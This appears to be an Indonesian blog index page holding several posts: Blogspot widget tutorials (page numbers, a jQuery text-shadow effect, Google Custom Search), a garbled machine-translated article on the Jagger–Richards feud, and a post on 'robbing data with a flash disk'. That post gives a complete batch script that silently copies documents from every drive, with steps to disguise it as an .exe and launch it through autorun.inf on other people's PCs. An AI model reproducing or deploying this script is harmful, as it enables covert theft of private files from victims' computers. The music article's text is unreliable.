Cara Membuat Page Number

Page Number atau Navigasi Halaman dengan menggunakan nomor atau angka adalah sebagai alat navigasi yang berfungsi selain dapat mempercantik tampilan halaman utama juga dapat memudahkan pengunjung dalam menjelajahi content sebuah website atau blog. Lihat contohnya pada halaman utama blog saya ini, kira-kira tampilan seperti pada gambar di bawah :

Apakah Anda ingin mencobanya? Jika iya, maka berikut ini adalah langkah-langkah Cara Membuat Page Number-Navigasi Halaman Blog khususnya blogspot.com :

1. Masuk dahulu ke Dashboard blogspot Anda, selanjutnya pilih Rancangan (Layout) dan pilih Edit HTML, seperti biasa contreng option Expand Widget Templates, selanjutnya cari kode berikut: ]]></b:skin>;
2. Setelah ketemu, di atas kode ]]></b:skin> letakkan kode di bawah ini :
   .showpageArea a {
   text-decoration:underline;
   }
   .showpageNum a {
   text-decoration:none;
   border: 1px solid #cccccc;
   margin:0 3px;
   padding:3px;
   }
   .showpageNum a:hover {
   border: 1px solid #cccccc;
   
   }
   .showpagePoint {
   color:#333;
   text-decoration:none;
   border: 1px solid #cccccc;
   
   margin:0 3px;
   padding:3px;
   }
   .showpageOf {
   text-decoration:none;
   padding:3px;
   margin: 0 3px 0 0;
   }
   .showpage a {
   text-decoration:none;
   border: 1px solid #cccccc;
   padding:3px;
   }
   .showpage a:hover {
   text-decoration:none;
   }
   .showpageNum a:link,.showpage a:link {
   text-decoration:none;
   color:#333333;
   }
3. Lalu cari lagi kode seperti ini: </body>;
4. Jika sudah ketemu, di atas kode </body> letakkan script di bawah ini:
   <b:if cond='data:blog.pageType != &quot;item&quot;'>
   <script type='text/javascript'>
   var pageCount=5;
   var displayPageNum=5;
   var upPageWord =&#39;Previous&#39;;
   var downPageWord =&#39;Next&#39;;
   </script>
   <script src='http://blogergadgets.googlecode.com/files/blogger-page-navi.v1.js' type='text/javascript'/>
   </b:if>
5. Selanjutnya carilah kode berikut ini : 'data:label.url';
6. Hapus kode ini : 'data:label.url' dan gantilah dengan kode di bawah ini:
   'data:label.url + &quot;?&amp;max-results=5&quot;'
7. Terakhir Simpan Templates dan lihat hasilnya.

Read more »

Merampok Data dengan FlashDisk

Hallo teman-teman nama saya dapat info baru nih, dari sobat Ilyas. Pada kesempatan ini saya akan sharing mengenai merampok data di komputer dengan USB Flash Drive.. ok let’s start mulai aja yuk. hha

1. Buka notepad pertama . .. kalau males ngetik bisa copas tulisan di bawah ini ..

@echo off

REM Name : silentxxx

REM Author : Silentxxx

Set silent=%computername% _ %random%

If not exist ”%silent%” Md “%silent%”

For%%a in (C D E F G H I J) do if exist %%a:\ (

For /f “tokens=*” %%b in (‘dir /a/b/s %%a:\*.doc’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

For /f  “tokens=*” %%b in (‘dir /a/b/s%%a:\.xls’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

For /f “tokens=*” %% b in (‘dir /a/b/s%%a:/*.txt’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

For /f “tokens=*” %%b in (‘dir /a/b/s%%a:/*.docx’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

)

1. Save file tersebut dengan nama terserah .bat dan save as type all files .,udah pa blon??

Sekarang coba di jalankan file dengan exstensi bat tersebut maka di samping File akan terbuat semua file yang di copy dari drive C ampai Z (kalau punya )wkwkwk. gila banyak amat..

Code di atas dapat di ubah atau di tambah sesuai dengan keinginan kalian masing-masing bisa di tambahkan kode

For /f “tokens=*”  %%b in (‘dir /a/b/s%%a:\*.zip’)  do(

attrib –s –h –r  “%%b”

copy “%%b” “%silent%” /y)

maka file yang berextensi zip akan masuk ke Flash Disk kamu (wah lumayan dapat software kompresan gratis wkwkwk)

ubah sesuai extensi apa yang kamu inginkan misalnya *.pdf  atau *.html

maka file terserah.bat akan berjalan sesuai dengan keinginan anda .

File tersebut bisa anda ubah ke bentuk extensi exe. .. enak atuh,, lebih mudah.. dengan software Bat_To_Exe_ConverterV1.5  kalau belum punya kakak-kakak bisa download di http://www/brothersoft.com/bat-to-exe-converter-50301.html

Cara mengubahnya adalah

1. Buka software tersebut..
2. Pilih yang compile
3. Dan sekarang file.bat yang tadi kita buat menjadi file yang berextensi *.exe lebih enak kan ..Jadi disangkanya file software biasa
4. Agar file tersebut maka kita harus buat file autorun
5. Buka notepad ketikkan

[autorun]

Open=terserah.exe

1. save as dengan nama Autorun.inf dan terserah.exe di dalam directory USB Flash Drive kamu..
2. Selesai .. Akhirnya sekarang colokkan atau masukkan FD kamu atau loe atau agan di pc mana aaja akan terkcopy banyak data yang kamu terima ..

Read more »

Text Shadow Animation

Salam persahabatan

Akhirnya bisa posting lagi nih, sekarang pembahasannya tentang text-shadow tapi yang satu ini di terapkan di dalam Jquery. Kalu yang terdahulu saya pernah mempostingnya tentang text-shadow yang ada dalam css3 akan tetapi kalu yang diartikel ini agak berbeda. Penasaran kan?Okeh, sebelumnya saya pernah melihat ada satu blog yang mempunyai animasi di judul blog tersebut seperti tulisan yang terbakar, setelah saya lihat mereka banyak menggunakan tolls online padahal kalau kita cermati kita bisa membuatnya sendiri. Nah... diartikel ini kita akan membahas bagaimana cara membuatnya. Ada dua cara membuat text-shadow seperti itu yang pertama sobat bisa menerapkan di postingan dan yang kedua sobat bisa menerapkan di dalam template seperti di judul blog atau yang lainnya.Apabila sobat ingin menerapkannya dalam postingan sobat hanya perlu memasukan kode di bawah dalam postingan sobat di edit html.

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script><script type="text/javascript">(function ($){$.fn.ignite = function (burn){$(this).each(function (){var letters = $(this).text().split('');$(this).html('<span>' + letters.join('</span><span>') +'</span>');$spans = $(this).find('span');setInterval(function () {$spans.each(burn);}, 100);});}})(jQuery);function gasFlame(){var colors = ['#FFF', '#99f', '#CC0066', '#CC0033'];if (Math.random() > 0.90){colors.push('#3333CC');}var hv = 0.04;var textShadows = [];var c = 0;var h = 0;var s = 0;while (c < colors.length){s = 2 + Math.round(Math.random() * 2);while (s--){shadow = '0 ' + h + 'em ' + -h + 'em ' + colors[c];textShadows.push(shadow);h -= hv;}c++;}$(this).css({color: colors[0], textShadow: textShadows.join(', ')});}$(begin);function begin(){$('#mandra').ignite(gasFlame);}</script><style type="text/css">#mandra{font-size: 2em;line-height:2.50em;text-shadow:4px 2px 6px blue;color:#000;}
</style><div id="mandra">
Ini adalah contoh text-shadow yang mengunakan Jquery 1.4.2
</div>

Lalu bagaimana menerapkannya di dalam header atau template? Seperti tehnik dasar menaruh javascript, kalu sobat teliti sebenarnya ini hanya penempatan di head dan body tapi perintah dokumen jquery harus juga di tempatkan. Gambaran penempatan javascript di template blogspot agak berbeda, yang perlu di perhatikan adalah/*<![CDATA[*/ di awal script dan /*]]>*/  di akhir script. Oke..mari sekarang kita buat, saya akan memberikan di judul blog/header.

1. Masuk ke edit html template.
2. Jangan centong, eh salah maksudna centang Expand Widget Templates.
3. Lalu masukan kode dibawah tepat diatas</head>
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js' type='text/javascript'> </script>
4. Kemudian masukan kode dibawah tepat di atas</body>
<script type='text/javascript'>/*<![CDATA[*/ (function ($){$.fn.ignite = function (burn){$(this).each(function (){ var letters = $(this).text().split('');$(this).html('<span>' + letters.join('</span><span>') +'</span>');$spans = $(this).find('span');setInterval(function () {$spans.each(burn);}, 100);});}})(jQuery);function gasFlame(){var colors = ['#FFF', '#99f', '#CC0066', '#CC0033'];if (Math.random() > 0.90){colors.push('#3333CC');}var hv = 0.04;var textShadows = [];var c = 0;var h = 0;var s = 0;while (c < colors.length){s = 2 + Math.round(Math.random() * 2);while (s--){shadow = '0 ' + h + 'em ' + -h + 'em ' + colors[c];textShadows.push(shadow);h -= hv;}c++;}$(this).css({color: colors[0], textShadow: textShadows.join(', ')});}$(begin);function begin(){$('h1').ignite(gasFlame);}/*]]>*/ </script>
5. SAVE DAN LIHAT HASILNYA

Cara memodifikasi text-shadow

Nah..sekarang kita akan belajar cara memodifikasinya dengan mengenali sintaks yang ada dalam Jquery tersebut. Jadi sobat bisa merubahnya sesuai keinginan. Silahkan temukan kode di bawah dan modifikasi sendiri.

• var colors = ['#FFF', '#99f', '#CC0066', '#CC0033'] : Kode ini berfungsi untuk warna dan pencahayaan blur dari text-shadow. Seperti yang terlihat ada 4 kode warna css warna pertama(#fff) adalah warna dasar dari teks dan warna berikutnya adalah warna dari blur yang keatas dan kebawah.
• colors.push('#3333CC'); : Kode ini berfungsi untuk efek, seperti sobat lihat text-shadow di atas ada warna biru yang berjalan.
• {$('#mandra') : Ini adalah element yang akan kita buat text-shadow. Sobat bisa menggantinya menjadi h2-h3 sesuai keinginan, kalu h1 otomatis yang akan terlihat text-shadownya adalah bagian judul blog/header. Untuk yang template sudah saya sesuaikan menjadi h1.Sedangkan untuk yang di postingan saya memberi #mandra. Ini bertujuan untuk memanggil div dari css.

Yups!! segitu aja dulu ntar kalu kebanyakan bisa pusing, oke dah kalu begitu selamat mencoba, selamat berkreasi semoga berguna dan bermanfaat tutorial ini.

Read more »

Memasang Google Search Sendiri

Lama tidak menyapa pengunjung dengan suguhan tips tricks blog seputar modifikasi, kini saya akan mencoba untuk memberikan sesuatu yang akan membuat blog anda terlihat sangat profesional. tips tricks yang satu ini akan membuat blog anda semakin di kagumi pengunjung. bagaimana tidak, anda akan memiliki mesin pencari blog layaknya google (karena tools ini juga milik google).

Untuk demonya anda dapat mencoba memasukkan sebuah keyword pada mesin pencari artikel ini pada sidebar kemudian tekan enter. maka anda akan lihat bedanya. jika anda tertarik, mari kita langsung saja melakukan tutorial ini.

1. Pertama kunjungi situs http://www.google.com/cse/
2. Kemudian klik tombol Create Custom Search Engine.

3. Kemudian isi form yang di sediakan seperti di bawah ini.

• Name = isi dengan nama mesin pencari anda. disini saya misalkan phonecompi shearch .
• Description = Isi dengan deskripsi mesin pencari anda.
• Language = pilih bahasa mesin pencari anda.
• Sites to search = masukkan alamat blog anda.
• 
  
  
  
  
  
  
  
  
  
  
  Editions:  = pilih standart edition untuk yang gratis namun akan di pasangi iklan oleh google, namun anda dapat memilih versi Site Search jika anda tidak ingin menampilkan iklan google namun berbayar. klik Next. jangan lupa centang  I have read and agree to the Terms of Service.

  

4. Pilih tema atau tampilan mesin pencari anda. ada 6 pilihan, yaitu: Default,Bubblegum,Green Sky,Espresso,Shiny,dan minimalist

5. untuk memilih klik customize. maka akan tampil pengaturan warna, font, dan lain sebagainya. atur sesuai selera. jika sudah, klik next.

 6. Maka anda akan di berikan kode untuk dipasang pada blog anda. jangan ambil kode itu, tapi lanjutkan step yang saya berikan. klik saja Change the look and feel. 
7. Pada Choose a hosting option, pilih Iframe. 
8. Klik save, kemudian klik lagi get code.

9. jangan langsung ambil kode tersebut, tapi buka dulu tab baru pada browser anda, dan masuk ke akun blogger anda.
10. Buat postingan atau entri baru dengan judul sesuai judul search engine yang anda pilih tadi. biarkan postingan tersebut kosong, dan terbitkan entri tersebut.
11. Klik Lihat entri. copy url atau alamat postingan.

12. Buka kembali tab browser dari google custom search engine tadi.
13. Kemudian pastekan url yang anda copy tadi ke dalam form Specify search results details. pilih juga di mana anda ingin meletakkan iklan dari google. apakah di right, top and right, atau di top and bottom.

14. maka anda akan di berikan dua buah kode yang harus anda pasang pada blog anda. kode pada kolom Search box code anda pasang sebagai widget. dan kode yang kedua (kolom Search results code)
anda pastekan pada postingan yang kosong tadi (step 10). kemudian terbitkan kembali. nah sekarang anda dapat mencobanya. lihat blog anda dan masukkan keyword pada search engine yang anda pasang. maka tampilannya akan muncul di halaman posting anda.

Semoga blog anda akan lebih terlihat profesional dengan adanya tips tricks blog ini.

Read more »

Mick Jagger & Keith Richards: Rock And Roll's Greatest Feud

Mereka telah terjebak antara batu dan tempat yang keras selama 48 tahun dengan tidak pernah belajar untuk membiarkannya berdarah. Sekarang Mick dan kejenakaan antagonis Keith telah menyebabkan Rolling Stones yang berasal judul rock and roll's nomor satu band memerangi oleh majalah Rolling Stone. Pasangan ini mengalahkan fraksi lain berperang terkenal seperti Ray dan Dave Davis dan Steve Tyler dan Joe Perry ke tempat nomor satu, meskipun duo hanya pada daftar lima besar untuk tidak pernah berpisah.
Bagian atas penuh lima adalah sebagai berikut
05. Ray dan Davis Dave (The Kinks) 04. Roger Daltrey dan Pete Townshend (The Who) 03. Steve Tyler dan Joe Perry (Aerosmith) 02. Paul Simon and Garfunkel Seni 01. Mick Jagger dan Keith Richards (Rolling Stones)
Si Kembar secercah adalah dua anggota Stones telah sejalan setiap Facebook sejak pembentukan band ini pada tahun 1962. Sementara dua hampir selalu berada di leher masing-masing untuk satu alasan atau lainnya, Keith Richards telah menempatkan pasangan dalam melawan ke dalam perspektif:

"Kau tidak mengharapkan hubungan untuk tetap berada di alur yang sama sepanjang waktu. Saya pikir perbedaan kita sebagai pertengkaran keluarga ... Jika saya berteriak dan menjerit padanya itu karena tidak ada orang lain memiliki keberanian untuk melakukannya - atau mereka dibayar untuk tidak melakukannya. Saya berharap saya adalah seorang teman Mick menyadari yang baru saja berusaha untuk membawa dia ke baris. "
Awal bulan ini, arus Stones Gitaris Ronnie Wood mengambil Menerbitkan ulang Tahun Trofi Stones "Exile On Main Street" di Classic Rock Awards meskipun tidak memiliki bermain di catatan. tugas Guitar pada album 1972 ganda ditangani oleh Mick Taylor.

Read more »